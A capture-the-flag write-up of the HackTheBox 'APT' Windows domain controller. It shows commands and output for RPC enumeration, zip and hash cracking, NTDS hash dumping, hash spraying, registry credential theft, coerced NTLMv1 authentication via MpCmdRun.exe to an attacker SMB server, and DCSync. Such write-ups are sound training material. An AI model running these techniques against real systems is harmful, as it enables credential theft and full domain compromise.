APT is an insane difficulty Windows machine from HackTheBox and it starts with enumeration on RPC services to get a list of MSRPC interfaces. One of the interface called IObjectExporter has a method named ServerAlive() can be abused to reveals the IPv6 address of the machine. There is a share contains a backup file of AD database and it can be extracted to obtain all the users’ hashes. Brute-force attack is performed to obtain one valid credentials from these hashes. With these credentials, I’m able to send a query to the registry and obtain another set of credentials for remote access to the system. A PowerShell history reveals that the machine is configured to accept NTLMv1 authentication, which is then exploited to get Administrator access.
Skills Learned
- RPC enumeration
- Port Forwarding
- Remote Registry
- Exploiting NTLMv1
Tools
- Nmap
- Gobuster - https://github.com/OJ/gobuster
- Impacket - https://github.com/SecureAuthCorp/impacket
- IOXIDResolver - https://github.com/mubix/IOXIDResolver
- CrackMapExec - https://github.com/byt3bl33d3r/CrackMapExec
- Socat
- Kerbrute - https://github.com/ropnop/kerbrute
- pyKerbrute - https://github.com/3gstudent/pyKerbrute
- Responder - https://github.com/lgandx/Responder
Reconnaissance
Nmap - IPv4
Both the initial scan and the full scan with nmap
only discovers two open ports: HTTP with IIS server on port 80, and MSRPC on port 135.
→ root@iamf «apt» «10.10.14.72»
$ nmap -sC -sV -oA nmap/initial-apt '10.10.10.213' -v
PORT STATE SERVICE VERSION
80/tcp open http Microsoft IIS httpd 10.0
| http-methods:
| Supported Methods: OPTIONS TRACE GET HEAD POST
|_ Potentially risky methods: TRACE
|_http-server-header: Microsoft-IIS/10.0
|_http-title: Gigantic Hosting | Home
135/tcp open msrpc Microsoft Windows RPC
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows
Enumeration
TCP 80 - Website
Visiting port 80 on the browser shows up a website called “Gigantic Hosting”.
The input vectors on https://10.13.38.16/contact-post.html
don’t appear to be neither vulnerable nor injectable.
It sends a post request with an empty body to a host that can not be resolved by my network. Here is the request.
POST https://10.13.38.16/contact-post.html HTTP/1.1
Host: 10.13.38.16
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Referer: http://10.10.10.213/support.html
Content-Type: application/x-www-form-urlencoded
Content-Length: 0
Connection: keep-alive
Upgrade-Insecure-Requests: 1
I also did ran gobuster, but didn’t find anything interesting.
TCP 135 - MSRPC
Remote Procedure Call (RPC) allows applications to invoke a function (or procedure or subroutine) of a remote computer without having to understand the network’s details, and MSRPC is Microsoft’s enhanced version of DCE/RPC. MSRPC works together with the Distributed Component Object Model (DCOM), and DCOM provides a mechanism for exposing application objects and it consists of a set of RPC interfaces that can be implemented over any RPC Transport.
DCOM and RPC endpoint mapper sit on port 135 (both of them run on the shared process of svchost.exe
). The RPC endpoint mapper maintains the database of endpoints that clients use to map an interface to endpoints, and there is a tool called rpcdump.py
from Impacket that can be used to dump those endpoints:
→ root@iamf «apt» «10.10.14.72»
$ rpcdump.py -port 135 '10.10.10.213'
[*] Retrieving endpoint list from 10.10.10.213
...[SNIP]...
Protocol: [MS-RSP]: Remote Shutdown Protocol
Provider: wininit.exe
UUID : D95AFE70-A6D5-4259-822E-2C84DA1DDB0D v1.0
Bindings:
ncacn_ip_tcp:10.10.10.213[49664]
ncalrpc:[WindowsShutdown]
ncacn_np:\\APT[\PIPE\InitShutdown]
ncalrpc:[WMsgKRpc06C4F0]
...[SNIP]...
[*] Received 265 endpoints.
ncacn_http
, ncacn_np
, ncacn_ip_tcp
are known as protocol string/protocol sequence.
Scan for Listening RPC Interfaces
I can use rpcmap.py
, which also from Impacket, to get a list of currently listening RPC interfaces that are accessible over TCP/IP.
→ root@iamf «apt» «10.10.14.72»
$ rpcmap.py 'ncacn_ip_tcp:10.10.10.213[135]' -brute-uuid
...[SNIP]...
Protocol: [MS-DCOM]: Distributed Component Object Model (DCOM) Remote
Provider: rpcss.dll
UUID: 000001A0-0000-0000-C000-000000000046 v0.0
Protocol: [MS-DCOM]: Distributed Component Object Model (DCOM) Remote
Provider: rpcss.dll
UUID: 4D9F4AB8-7D1C-11CF-861E-0020AF6E7C57 v0.0
Protocol: [MS-DCOM]: Distributed Component Object Model (DCOM) Remote
Provider: rpcss.dll
UUID: 99FCFEC4-5260-101B-BBCB-00AA0021347A v0.0
...[SNIP]...
[*] Tested 354 UUID(s)
From the results above, three of them are the interfaces provided by DCOM, details of these interfaces are documented by Microsoft in well-known UUIDs.
Name | GUID | Purpose | Definition |
---|---|---|---|
IID_IRemoteSCMActivator | {000001A0-0000-0000-C000-000000000046} | RPC interface UUID for IRemoteSCMActivator | RemoteSCMActivator is another remote activation interface of the DCOM Remote Protocol. |
IID_IActivation | {4d9f4ab8-7d1c-11cf-861e-0020af6e7c57} | RPC interface UUID for IActivation | IActivation is the DCOM Remote Protocol remote activation interface supported on all versions of the DCOM Remote Protocol |
IID_IObjectExporter | {99fcfec4-5260-101b-bbcb-00aa0021347a} | RPC interface UUID for IObjectExporter | IObjectExporter is the interface used for OXID resolution, pinging, and server aliveness tests. All object resolvers MUST support the IObjectExporter interface |
Network Interfaces Enumeration
According to this post, written by Nicolas Delhaye, the ServerAlive2()
method in IObjectExport (also known as IOXIDResolver) interface can be used to retrieve a list of network interfaces of a remote computer. Nicolas also provides the PoC for this.
Opnum is operation number to identify a specific rpc method or a method in an interface.
I can use rpcmap.py
with -brute-opnums
option to determine which interface’s methods are accessible, and the IObjectExport interface shows that Opnum 3 and Opnum 5 are accessible, this means access to ServerAlive()
function is allowed.
→ root@iamf «rpc-enum» «10.10.14.72»
$ rpcmap.py -brute-opnums -opnum-max 5 'ncacn_ip_tcp:10.10.10.213'
...[SNIP]...
Protocol: [MS-DCOM]: Distributed Component Object Model (DCOM) Remote
Provider: rpcss.dll
UUID: 99FCFEC4-5260-101B-BBCB-00AA0021347A v0.0
Opnum 0: rpc_x_bad_stub_data
Opnum 1: rpc_x_bad_stub_data
Opnum 2: rpc_x_bad_stub_data
Opnum 3: success
Opnum 4: rpc_x_bad_stub_data
Opnum 5: success
From here, I can use the provided PoC script.
#!/usr/bin/python
import sys, getopt
from impacket.dcerpc.v5 import transport
from impacket.dcerpc.v5.rpcrt import RPC_C_AUTHN_LEVEL_NONE
from impacket.dcerpc.v5.dcomrt import IObjectExporter
def main(argv):
try:
opts, args = getopt.getopt(argv,"ht:",["target="])
except getopt.GetoptError:
print 'IOXIDResolver.py -t <target>'
sys.exit(2)
target_ip = "192.168.1.1"
for opt, arg in opts:
if opt == '-h':
print('IOXIDResolver.py -t <target>')
sys.exit()
elif opt in ("-t", "--target"):
target_ip = arg
authLevel = RPC_C_AUTHN_LEVEL_NONE
stringBinding = r'ncacn_ip_tcp:%s' % target_ip
rpctransport = transport.DCERPCTransportFactory(stringBinding)
portmap = rpctransport.get_dce_rpc()
portmap.set_auth_level(authLevel)
portmap.connect()
objExporter = IObjectExporter(portmap)
bindings = objExporter.ServerAlive2()
print("[*] Retrieving network interface of " + target_ip)
for binding in bindings:
NetworkAddr = binding['aNetworkAddr']
print "Address: " + NetworkAddr
if __name__ == "__main__":
main(sys.argv[1:])
The script returns with two IPv6 addresses of the machine.
→ root@iamf «rpc-enum» «10.10.14.72»
$ ./IOXIDResolver.py -t '10.10.10.213'
[*] Retrieving network interface of 10.10.10.213
Address: apt
Address: 10.10.10.213
Address: dead:beef::b885:d62a:d679:573f
Address: dead:beef::89df:c1d4:6aaf:67ce
I will add these addresses to my /etc/hosts
file.
→ root@iamf «rpc-enum» «10.10.14.72»
$ echo 'dead:beef::b885:d62a:d679:573f apt' >> /etc/hosts
Nmap - IPv6
I will run another nmap scan against the machine on the IPv6 address.
For me, scanning these two addresses returns the same results.
This time, nmap
shows the common ports of Active Directory domain controller.
→ root@iamf «apt» «10.10.14.72»
$ nmap -6 --min-rate 1000 -sC -sV -oA nmap/initial-apt-ipv6 'dead:beef::b885:d62a:d679:573f' -v
...[SNIP]...
PORT STATE SERVICE VERSION
53/tcp open domain?
| fingerprint-strings:
| DNSVersionBindReqTCP:
| version
|_ bind
80/tcp open http Microsoft IIS httpd 10.0
| http-methods:
| Supported Methods: OPTIONS TRACE GET HEAD POST
|_ Potentially risky methods: TRACE
|_http-server-header: Microsoft-IIS/10.0
|_http-title: Gigantic Hosting | Home
88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2021-04-15 00:36:03Z)
135/tcp open msrpc Microsoft Windows RPC
389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: htb.local, Site: Default-First-Site-Name)
| ssl-cert: Subject: commonName=apt.htb.local
| Subject Alternative Name: DNS:apt.htb.local
| Issuer: commonName=apt.htb.local
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2020-09-24T07:07:18
| Not valid after: 2050-09-24T07:17:18
| MD5: c743 dd92 e928 50b0 aa86 6f80 1b04 4d22
|_SHA-1: f677 c290 98c0 2ac5 8575 7060 683d cdbc 5f86 5d45
|_ssl-date: 2021-04-15T00:38:57+00:00; -1s from scanner time.
445/tcp open microsoft-ds Windows Server 2016 Standard 14393 microsoft-ds (workgroup: HTB)
464/tcp open kpasswd5?
593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
636/tcp open ssl/ldap Microsoft Windows Active Directory LDAP (Domain: htb.local, Site: Default-First-Site-Name)
| ssl-cert: Subject: commonName=apt.htb.local
| Subject Alternative Name: DNS:apt.htb.local
| Issuer: commonName=apt.htb.local
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2020-09-24T07:07:18
| Not valid after: 2050-09-24T07:17:18
| MD5: c743 dd92 e928 50b0 aa86 6f80 1b04 4d22
|_SHA-1: f677 c290 98c0 2ac5 8575 7060 683d cdbc 5f86 5d45
|_ssl-date: 2021-04-15T00:38:57+00:00; -1s from scanner time.
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port53-TCP:V=7.80%I=7%D=4/14%Time=60778A78%P=x86_64-pc-linux-gnu%r(DNSV
SF:ersionBindReqTCP,20,"\0\x1e\0\x06\x81\x04\0\x01\0\0\0\0\0\0\x07version\
SF:x04bind\0\0\x10\0\x03");
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows
Host script results:
|_clock-skew: mean: -12m00s, deviation: 26m48s, median: -1s
| smb-os-discovery:
| OS: Windows Server 2016 Standard 14393 (Windows Server 2016 Standard 6.3)
| Computer name: apt
| NetBIOS computer name: APT\x00
| Domain name: htb.local
| Forest name: htb.local
| FQDN: apt.htb.local
|_ System time: 2021-04-15T01:38:41+01:00
| smb-security-mode:
| account_used: <blank>
| authentication_level: user
| challenge_response: supported
|_ message_signing: required
| smb2-security-mode:
| 2.02:
|_ Message signing enabled and required
| smb2-time:
| date: 2021-04-15T00:38:39
|_ start_date: 2021-04-14T16:50:06
I will take notes on:
Domain name:
htb.local
FQDN:
apt.htb.local
Host: Windows Server 2016 Standard 14393
On a full port scan, there is a WinRM listening on IPv6.
→ root@iamf «rpc-enum» «10.10.14.72»
$ nmap -p- --min-rate 1000 -6 -v 'dead:beef::b885:d62a:d679:573f'
...[SNIP]...
PORT STATE SERVICE
53/tcp open domain
80/tcp open http
88/tcp open kerberos-sec
135/tcp open msrpc
389/tcp open ldap
445/tcp open microsoft-ds
593/tcp open http-rpc-epmap
636/tcp open ldapssl
3268/tcp open globalcatLDAP
3269/tcp open globalcatLDAPssl
5985/tcp open wsman
...[SNIP]...
TCP 445 - SMB (IPv6)
Anonymous access is allowed on SMB. The backup
share seems interesting here, so I will dig into that share.
→ root@iamf «apt» «10.10.14.72»
$ smbclient -N -L //apt
Anonymous login successful
Sharename Type Comment
--------- ---- -------
backup Disk
IPC$ IPC Remote IPC
NETLOGON Disk Logon server share
SYSVOL Disk Logon server share
apt is an IPv6 address -- no workgroup available
In the backup
share, there is a file calledbackup.zip
. I will download it to my Kali.
→ root@iamf «apt» «10.10.14.72»
$ smbclient -N //apt/backup
Anonymous login successful
Try "help" to get a list of possible commands.
smb: \> dir
. D 0 Thu Sep 24 03:30:52 2020
.. D 0 Thu Sep 24 03:30:52 2020
backup.zip A 10650961 Thu Sep 24 03:30:32 2020
10357247 blocks of size 4096. 6964173 blocks available
smb: \> get backup.zip
getting file \backup.zip of size 10650961 as backup.zip (502.9 KiloBytes/sec) (average 502.9 KiloBytes/sec)
Zip Crack
The backup file is protected with a password. So I will use zip2john.py
to convert this backup.zip
into crackable hash format, and then transfer the hash onto my Windows for cracking.
→ root@iamf «loot» «10.10.14.72»
$ zip2john backup.zip > backup.zip.hash
→ root@iamf «loot» «10.10.14.72»
$ cat backup.zip.hash
backup.zip:$pkzip2$3*1*1*0*8*24*9beb*9ac6*0f135e8d5f02f852643d295a889cbbda196562ad42425146224a8804421ca88f999017ed*1*0*8*24*acd0*9cca*0949e46299de5eb626c75d63d010773c62b27497d104ef3e2719e225fbde9d53791e11a5*2*0*156*4000*2a393785*81733d*37*8*156*2a39*9cca*0325586c0d2792d98131a49d1607f8a2215e39d59be74062d0151084083c542ee61c530e78fa74906f6287a612b18c788879a5513f1542e49e2ac5cf2314bcad6eff77290b36e47a6e93bf08027f4c9dac4249e208a84b1618d33f6a54bb8b3f5108b9e74bc538be0f9950f7ab397554c87557124edc8ef825c34e1a4c1d138fe362348d3244d05a45ee60eb7bba717877e1e1184a728ed076150f754437d666a2cd058852f60b13be4c55473cfbe434df6dad9aef0bf3d8058de7cc1511d94b99bd1d9733b0617de64cc54fc7b525558bc0777d0b52b4ba0a08ccbb378a220aaa04df8a930005e1ff856125067443a98883eadf8225526f33d0edd551610612eae0558a87de2491008ecf6acf036e322d4793a2fda95d356e6d7197dcd4f5f0d21db1972f57e4f1543c44c0b9b0abe1192e8395cd3c2ed4abec690fdbdff04d5bb6ad12e158b6a61d184382fbf3052e7fcb6235a996*$/pkzip2$::backup.zip:Active Directory/ntds.jfm, registry/SECURITY, Active Directory/ntds.dit:backup.zip
Jtr
recovers the password of the backup file to iloveyousomuch
. Now I can unzip the backup file using this password.
C:\tools\john\run> ./john.exe hashes/backup.zip.hash --wordlist=C:/tools/rockyou.txt
...[SNIP]...
iloveyousomuch (backup.zip)
1g 0:00:00:00 DONE (2021-04-15 08:29) 35.71g/s 585142p/s 585142c/s 585142C/s 123456..christal
This backup contains AD database.
→ root@iamf «loot» «10.10.14.72»
$ tree
.
├── Active Directory
│ ├── ntds.dit
│ └── ntds.jfm
└── registry
├── SECURITY
└── SYSTEM
Dumping NTLM Hashes
ntds.dit
is a database file for Active Directory environment, I can supply the SECURITY
and SYSTEM
files to secretsdump.py
to extract all the AD users’ NTLM hash.
NTDS stands for New Technology Directory Service and DIT stands for directory information tree.
→ root@iamf «loot» «10.10.14.72»
$ secretsdump.py -ntds Active\ Directory/ntds.dit -system registry/SYSTEM -security registry/SECURITY LOCAL > ad_hashes
I saved the hash to a file called ad_hashes
.
TCP 88 - Kerberos
Finding Valid Usernames
Because there are so many data to try, I might accidentally get locked out if I do password spray blindly. Luckily, there is a tool called Kerbrute that can determine which users are valid based on the Kerberos pre-auth responses; If the user is a valid user, KDC returns UF_DONT_REQUIRE_PREAUTH
. If it’s not, it returns KDC_ERR_C_PRINCIPAL_UNKNOWN
.
Before that, I’ll pull the users and NTLM hash from ad_hashes
and store them in separate list. I’ll feed users.list
to kerbrute
.
users.list
→ root@iamf «loot» «10.10.14.72»
$ cat ad_hashes | grep 'aad3b435b51404eeaad3b435b51404ee' | cut -d : -f1 > ../users.list
userhash.list
→ root@iamf «loot» «10.10.14.72»
$ cat ad_hashes | grep 'aad3b435b51404eeaad3b435b51404ee' | cut -d : -f4 > ../userhash.list
I ran kerbrute
, and after some time, it returned three legitimate users.
→ root@iamf «apt» «10.10.14.72»
$ kerbrute userenum --dc apt --domain htb.local users.list
...[SNIP]...
2021/04/14 22:02:35 > Using KDC(s):
2021/04/14 22:02:35 > apt:88
2021/04/14 22:03:12 > [+] VALID USERNAME: APT$@htb.local
2021/04/14 22:03:12 > [+] VALID USERNAME: Administrator@htb.local
2021/04/14 22:07:31 > [+] VALID USERNAME: henry.vinson@htb.local
2021/04/14 22:15:52 > Done! Tested 2001 usernames (3 valid) in 796.320 second
APT$
is an account used for authentication purposes in the domain, it can not be used for interactive login into the system. Because of that, I’ll only keep administrator
and henry.vinson
on the list of valid users. But if I have a valid NT hash of this account, that would be very useful as it can be used for DCSync attack.
Hash Brute-force
Using henry.vinson:2de80758521541d19cabba480b260e8f
pair returns an authorization error message.
→ root@iamf «apt» «10.10.14.72»
$ evil-winrm -i apt -u henry.vinson -H 2de80758521541d19cabba480b260e8f
Evil-WinRM shell v2.4
Info: Establishing connection to remote endpoint
Error: An error of type WinRM::WinRMAuthorizationError happened, message is WinRM::WinRMAuthorizationError
Error: Exiting with code 1
Another option here is to spray the NTLM hashes on henry.vinson
. Unfortunately, kerbrute
doesn’t support pass-the-hash yet. But there is a Python version of kerbrute
called pyKerbrute
(If i’m not mistaken, you can use GetNPusers.py
from impacket as well). One of its tools called ADPwdSpray.py
supports bruteforcing with hash.
→ root@iamf «apt» «10.10.14.72»
$ git clone https://github.com/3gstudent/pyKerbrute.git
By default, it only supports a single hash, so I’ve modified it a bit to work with a list of hashes and IPv6.
...[SNIP]...
if __name__ == '__main__':
kdc_a = sys.argv[1] # apt
user_realm = sys.argv[2].upper() # htb.local
user_name = sys.argv[3] # henry.vinson, administrator
hashes = open(sys.argv[4], 'r').readlines() # aad3...hashes
print('[*] DomainControlerAddr: %s'%(kdc_a))
print('[*] DomainName: %s'%(user_realm))
for user_hash in hashes:
sys.stdout.write('\r[*] Trying hash: %s'%(user_hash)) # to make sure it checks every hash in list
user_key = (RC4_HMAC, user_hash.strip('\r\n').decode('hex'))
passwordspray_tcp(user_realm, user_name, user_key, kdc_a, user_hash)
After a few minutes, it returns one valid hash that works on henry.vinson
.
→ root@iamf «pyKerbrute» «10.10.14.72»
$ wc -c ../userhash.list
66001 userhash.list
→ root@iamf «pyKerbrute» «10.10.14.72» git:(temp) ✗
$ python ADPwdSpray.py apt htb.local 'henry.vinson' ../userhash.list | tee ../pykerbrute-spray
[*] DomainControlerAddr: apt
[*] DomainName: HTB.LOCAL
...[SNIP]...
[+] Valid Login: henry.vinson:e53d87d42adaa3ca32bdb34a876cbffb
Foothold
Shell as henry.vinson_adm
Forwarding IPv4 -> IPv6
Here, a relay or a port forwarding is required to make some tools work on IPv6. There are two solutions for this:
First, use socat.
→ root@iamf «apt» «10.10.14.72»
$ socat tcp-listen:445,fork tcp6:apt:445
Second, use ssh.
→ root@iamf «apt» «10.10.14.72»
$ ssh -L 445:apt:445 root@localhost -Nf
→ root@iamf «apt» «10.10.14.72»
$ netstat -tlpn
Active Internet connections (only servers)
Proto Recv-Q Send-Q Local Address Foreign Address State PID/Program name
tcp 0 0 127.0.0.1:445 0.0.0.0:* LISTEN 8548/ssh
tcp 0 0 0.0.0.0:22 0.0.0.0:* LISTEN 8087/sshd: /usr/sbin
tcp6 0 0 ::1:445 :::* LISTEN 8548/ssh
I can confirm both forwarding options work by authenticating to SMB using henry.vinson
creds to localhost using crackmapexec
.
→ root@iamf «apt» «10.10.14.72»
$ crackmapexec smb localhost -u henry.vinson -H e53d87d42adaa3ca32bdb34a876cbffb
SMB 127.0.0.1 445 APT [*] Windows Server 2016 Standard 14393 (name:APT) (domain:htb.local) (signing:True) (SMBv1:True)
SMB 127.0.0.1 445 APT [+] htb.local\henry.vinson e53d87d42adaa3ca32bdb34a876cbffb
Registry Enumeration
henry.vinson
can not be used to login remotely into the box.
→ root@iamf «apt» «10.10.14.72»
$ evil-winrm -i apt -u henry.vinson -H e53d87d42adaa3ca32bdb34a876cbffb
Evil-WinRM shell v2.4
Info: Establishing connection to remote endpoint
Error: An error of type WinRM::WinRMAuthorizationError happened, message is WinRM::WinRMAuthorizationError
Error: Exiting with code 1
But, using reg.py
from Impacket, it can be used to to query to the Windows registry, specifically the user registry.
→ root@iamf «apt» «10.10.14.72»
$ reg.py htb.local/henry.vinson@apt -hashes 'e53d87d42adaa3ca32bdb34a876cbffb:e53d87d42adaa3ca32bdb34a876cbffb' query -keyName HKU
Impacket v0.9.22.dev1+20200914.162022.81d44893 - Copyright 2020 SecureAuth Corporation
[!] Cannot check RemoteRegistry status. Hoping it is started...
HKU
HKU\Console
HKU\Control Panel
HKU\Environment
HKU\Keyboard Layout
HKU\Network
HKU\Software
HKU\System
HKU\Volatile Environment
On HKU\Software
there is a registry key called GiganticHostingManagementSystem
. This is the name of the hosted website.
→ root@iamf «apt» «10.10.14.72»
$ reg.py htb.local/henry.vinson@apt -hashes 'e53d87d42adaa3ca32bdb34a876cbffb:e53d87d42adaa3ca32bdb34a876cbffb' query -keyName HKU\\Software
Impacket v0.9.22.dev1+20200914.162022.81d44893 - Copyright 2020 SecureAuth Corporation
[!] Cannot check RemoteRegistry status. Hoping it is started...
HKU\Software
HKU\Software\GiganticHostingManagementSystem
HKU\Software\Microsoft
HKU\Software\Policies
HKU\Software\RegisteredApplications
HKU\Software\VMware, Inc.
HKU\Software\Wow6432Node
HKU\Software\Classes
In that key, it contains the credentials for henry.vinson_adm
.
→ root@iamf «apt» «10.10.14.72»
$ reg.py htb.local/henry.vinson@apt -hashes 'e53d87d42adaa3ca32bdb34a876cbffb:e53d87d42adaa3ca32bdb34a876cbffb' query -keyName HKU\\Software\\GiganticHostingManagementSystem
Impacket v0.9.22.dev1+20200914.162022.81d44893 - Copyright 2020 SecureAuth Corporation
[!] Cannot check RemoteRegistry status. Hoping it is started...
HKU\Software\GiganticHostingManagementSystem
UserName REG_SZ henry.vinson_adm
PassWord REG_SZ G1#Ny5@2dvht
Remote Access
henry.vinson_adm
credentials can be used to with evil-winrm, and this results in an interactive shell access to the system.
→ root@iamf «apt» «10.10.14.72»
$ evil-winrm -i apt -u henry.vinson_adm -p 'G1#Ny5@2dvht'
Evil-WinRM shell v2.4
Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\henry.vinson_adm\Documents>
*Evil-WinRM* PS C:\Users\henry.vinson_adm\Documents> cd ..\Desktop
*Evil-WinRM* PS C:\Users\henry.vinson_adm\Desktop> type user.txt
745212a817f60f27befd...[SNIP]...
Privilege Escalation
Shell as administrator
Enumeration
Recursive search for text files finds a PowerShell history.
*Evil-WinRM* PS C:\Users\henry.vinson_adm> gci -Path C:\Users -filter *.txt -Recurse -ErrorAction SilentlyContinue -Force
...[SNIP]...
Directory: C:\Users\henry.vinson_adm\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadline
Mode LastWriteTime Length Name
---- ------------- ------ ----
-a---- 11/10/2020 10:58 AM 458 ConsoleHost_history.txt
*Evil-WinRM* PS C:\Users\henry.vinson_adm> type "C:\Users\henry.vinson_adm\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadline\ConsoleHost_history.txt"
$Cred = get-credential administrator
invoke-command -credential $Cred -computername localhost -scriptblock {Set-ItemProperty -Path "HKLM:\SYSTEM\CurrentControlSet\Control\Lsa" lmcompatibilitylevel -Type DWORD -Value 2 -Force}
From Wikipedia:
Send NTLM response only: Clients use NTLM authentication only, and use NTLMv2 session security if server supports it; DCs accept LM, NTLM, and NTLMv2 authentication.
With lmcompatibilitylevel = 2
, it means the authentication process can be downgraded to NTLMv1.
The idea here is to coerce APT to make a request (challenge-response) to the server that the attacker controls. Instead of sending a set of random number challenge, this server has been configured to always send “1122334455667788” as its challenge.
There is a site called https://crack.sh that provides a service for cracking NTLMv1 response using rainbow tables for a specific challenge of “1122334455667788”. So after the server received the response from the given challenge, I can submit that response to crack.sh for cracking and obtain NTLM/NT hash of APT afterward.
The attack is explained in details here.
Note:
- NetNTLM/NTLMv1 is an authentication protocol
- NetNTLM/NTLMv1 hash != NTLM hash
- NetNTLM/NTLMv1 hash contains NTLM hash
Stealing NTLMv1 response via MpCmdRun.exe
MpCmdRun.exe
is part of Windows Defender that always runs with SYSTEM privileges. In September 2020, a security researcher named Mohammad Askar finds that MpCmdRun.exe
can be used to download a file. Furthermore, it can also be used to scan a file over SMB share.
When it comes to SMB share, there will be an authentication process that happens there. This authentication process can be captured using tool called Responder.
This article explains how authentication process over SMB works
I will abuse the scan ability of MpCmdRun.exe
to perform a file scan over my rogue SMB server that will capture the incoming NTLMv1/v2 response. This rogue SMB server is also Responder, and I will change the Responder configuration to always give “1122334455667788” as the challenge. The configuration file can be found at /etc/responder/Responder.conf
.
After that, I can start Responder
to listen on my tun0 interface and use the --lm
option which will downgrade the authentication to NTLMv1.
→ root@iamf «~» «10.10.14.72»
$ responder -I tun0 --lm
__
.----.-----.-----.-----.-----.-----.--| |.-----.----.
| _| -__|__ --| _ | _ | | _ || -__| _|
|__| |_____|_____| __|_____|__|__|_____||_____|__|
|__|
NBT-NS, LLMNR & MDNS Responder 2.3.4.0
Author: Laurent Gaffie (laurent.gaffie@gmail.com)
To kill this script hit CTRL-C
[+] Poisoners:
LLMNR [ON]
NBT-NS [ON]
DNS/MDNS [ON]
[+] Servers:
HTTP server [ON]
HTTPS server [ON]
WPAD proxy [OFF]
Auth proxy [OFF]
SMB server [ON]
Kerberos server [ON]
SQL server [OFF]
FTP server [OFF]
IMAP server [OFF]
POP3 server [OFF]
SMTP server [OFF]
DNS server [ON]
LDAP server [ON]
RDP server [OFF]
[+] HTTP Options:
Always serving EXE [OFF]
Serving EXE [OFF]
Serving HTML [OFF]
Upstream Proxy [OFF]
[+] Poisoning Options:
Analyze Mode [OFF]
Force WPAD auth [OFF]
Force Basic Auth [OFF]
Force LM downgrade [ON]
Fingerprint hosts [OFF]
[+] Generic Options:
Responder NIC [tun0]
Responder IP [10.10.14.72]
Challenge set [1122334455667788]
Don't Respond To Names ['ISATAP']
[+] Listening for events...
Now on APT, I can force authentication with MpCmdRun.exe
(located on C:\Program Files\Windows Defender
).
*Evil-WinRM* PS C:\Program Files\Windows Defender>.\MpCmdRun.exe -Scan -ScanType 3 -File \\10.10.14.72\notexist
Scan starting...
CmdTool: Failed with hr = 0x80508023. Check C:\Users\HENRY~2.VIN\AppData\Local\Temp\MpCmdRun.log for more information
Active Directory uses Kerberos as the default authentication method, but it will fallback to NTLM authentication if the client try to connect to other hosts with IP address
It errored out, but on my Kali, responder
has successfully captured the hash of APT$
, the computer account of the box.
...<snip>..
[+] Listening for events...
[SMB] NTLMv1 Client : 10.10.10.213
[SMB] NTLMv1 Username : HTB\APT$
[SMB] NTLMv1 Hash : APT$::HTB:95ACA8C7248774CB427E1AE5B8D5CE6830A49B5BB858D384:95ACA8C7248774CB427E1AE5B8D5CE6830A49B5BB858D384:1122334455667788
Why did this happen (I ask myself) ?
As far as I know, when there are no credentials specified explicitly, Windows uses the current credentials.
However, because Windows Defender is already running as SYSTEM (built-in local system), (afaik) it can not be downgraded to a lower privilege for authentication. It won’t authenticate using SYSTEM as well. Instead, it uses the machine/computer account for authentication.
LocalSystem and NetworkService credentials use computer account for authentication.
Cracking NTLMv1 re
I can submit the hash to https://crack.sh/ with the following format.
NTHASH:95ACA8C7248774CB427E1AE5B8D5CE6830A49B5BB858D384
It will automatically detect the input.
Not even a minute passed, it sent me the result.
The key is d167c3238864b12f5f82feae86a7f798
, it’s the NTLM hash/NThash that can be used for pass-the-hash attack.
Credentials Dumping
NTLM Hash of a computer account can not be used for remote login. Instead, it can be used to perform DCSync attack using secretsdump.py
. I’ll take only the administrator hash.
→ root@iamf «~» «10.10.14.72»
$ secretsdump.py 'htb.local/APT$@apt' -hashes 'd167c3238864b12f5f82feae86a7f798:d167c3238864b12f5f82feae86a7f798' -just-dc-user administrator
Impacket v0.9.22.dev1+20200914.162022.81d44893 - Copyright 2020 SecureAuth Corporation
[*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)
[*] Using the DRSUAPI method to get NTDS.DIT secrets
Administrator:500:aad3b435b51404eeaad3b435b51404ee:c370bddf384a691d811ff3495e8a72e2:::
...<snip>..
[*] Cleaning up...
I can login into the box using evil-winrm
with the administrator hash I obtained.
→ root@iamf «~» «10.10.14.72»
$ evil-winrm -i apt -u administrator -H c370bddf384a691d811ff3495e8a72e2
Evil-WinRM shell v2.4
Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\Administrator\Documents> type ..\Desktop\root.txt
a1f204c405aea36388...[SNIP]...
*Evil-WinRM* PS C:\Users\Administrator\Documents>
References
- https://pubs.opengroup.org/onlinepubs/098759899/CHP21CHP.HTM
- https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-wpo/f8bb99d3-7755-4ab9-9510-09920196f8b0
- https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-dcom/c25391af-f59e-40da-885e-cc84076673e4
- https://airbus-cyber-security.com/the-oxid-resolver-part-1-remote-enumeration-of-network-interfaces-without-any-authentication/
- https://www.blackhat.com/presentations/win-usa-04/bh-win-04-seki-up2.pdf
- https://www.trustedsec.com/blog/the-tale-of-the-lost-but-not-forgotten-undocumented-netsync-part-1/
- https://techcommunity.microsoft.com/t5/ask-the-directory-services-team/machine-account-password-process/ba-p/396026